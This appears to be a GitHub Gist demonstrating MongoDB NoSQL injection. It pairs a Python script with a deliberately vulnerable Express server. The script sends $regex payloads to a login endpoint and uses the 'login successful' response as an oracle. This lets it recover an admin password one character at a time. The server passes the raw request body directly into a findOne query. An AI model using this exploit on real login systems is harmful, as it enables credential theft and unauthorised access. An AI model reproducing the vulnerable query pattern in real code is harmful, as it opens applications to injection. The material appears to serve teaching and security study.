Created
November 5, 2025 06:57
-
-
Save bx33661/e75e27e7f90a2fe1d9c523f8d97e6892 to your computer and use it in GitHub Desktop.
NoSQL注入示例基于MongoDB
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import string | |
| import re | |
| TARGET_USERNAME = "admin" | |
| # "神谕"的判断依据 | |
| SUCCESS_MESSAGE = "登录成功" | |
| CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+-=[]{}|;:,.<>?/`~" | |
| known_password = "" | |
| url = "http://localhost:3369/login" | |
| print(f"[*] 开始攻击 {TARGET_USERNAME} ...") | |
| while True: | |
| found_char_in_iteration = False | |
| for char in CHARSET: | |
| # 转义已知密码 + 当前字符,以避免特殊字符导致无效regex | |
| escaped_prefix = re.escape(known_password + char) | |
| # 构造 $regex 载荷 | |
| payload = { | |
| "username": TARGET_USERNAME, | |
| "password": {"$regex": f"^{escaped_prefix}.*"} | |
| } | |
| # 在终端打印我们正在尝试的载荷 | |
| print(f"[?] 尝试: {known_password}{char}", end='\r') | |
| try: | |
| res = requests.post(url, json=payload) | |
| # 打印调试信息 | |
| print(f"\n[调试] 响应状态: {res.status_code}, 内容: {res.text}") | |
| # 检查 "神谕" | |
| if res.status_code == 200 and SUCCESS_MESSAGE in res.text: | |
| known_password += char | |
| print(f"\n[+] 发现字符: {char} -> 当前密码: {known_password}") | |
| # 可选:精确匹配检查以确认是否完整(优化边界) | |
| exact_payload = { | |
| "username": TARGET_USERNAME, | |
| "password": known_password | |
| } | |
| exact_res = requests.post(url, json=exact_payload) | |
| if exact_res.status_code == 200 and SUCCESS_MESSAGE in exact_res.text: | |
| print(f"\n[+] 精确匹配确认: {known_password} 是完整密码!") | |
| found_char_in_iteration = True | |
| break | |
| found_char_in_iteration = True | |
| break # 找到字符,跳出内层循环,开始猜下一个字符 | |
| except requests.exceptions.RequestException as e: | |
| print(f"\n[!] 请求错误 for {known_password + char}: {e}") | |
| continue # 跳过这个char,继续下一个 | |
| if not found_char_in_iteration: | |
| # 如果跑完所有字符集都没找到新字符,说明密码已猜完 | |
| break | |
| print(f"\n[***] 攻击完成! [***]") | |
| print(f"成功提取到密码: {known_password}") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // vul.js | |
| const express = require('express'); | |
| const { MongoClient } = require('mongodb'); | |
| const app = express(); | |
| app.use(express.json()); // 允许服务器解析 JSON 请求体 | |
| const mongoUrl = 'mongodb://localhost:27017'; // 你的 MongoDB 连接字符串 | |
| const dbName = 'test'; //这里填存储密码的数据库名 | |
| async function startServer() { | |
| const client = new MongoClient(mongoUrl); | |
| await client.connect(); | |
| console.log('已连接到 MongoDB'); | |
| const db = client.db(dbName); | |
| const usersCollection = db.collection('users'); | |
| // 这里设置一个危险路由 | |
| app.post('/login', async (req, res) => { | |
| // 漏洞点:直接将用户输入的 JSON 对象作为查询条件 | |
| const query = req.body; | |
| console.log(`[调试] 收到查询:`, JSON.stringify(query)); | |
| try { | |
| // 数据库将直接执行这个由用户控制的查询对象 | |
| const user = await usersCollection.findOne(query); | |
| if (user) { | |
| console.log(`[调试] 找到用户:`, user.username); | |
| res.status(200).json({ message: `登录成功,欢迎你, ${user.username}!` }); | |
| } else { | |
| console.log(`[调试] 未找到用户。`); | |
| res.status(401).json({ message: '用户名或密码错误。' }); | |
| } | |
| } catch (err) { | |
| console.error(err); | |
| res.status(500).send('服务器内部错误'); | |
| } | |
| }); | |
| app.listen(3369, () => { | |
| console.log('漏洞服务器运行在 http://localhost:3369'); | |
| }); | |
| } | |
| startServer(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment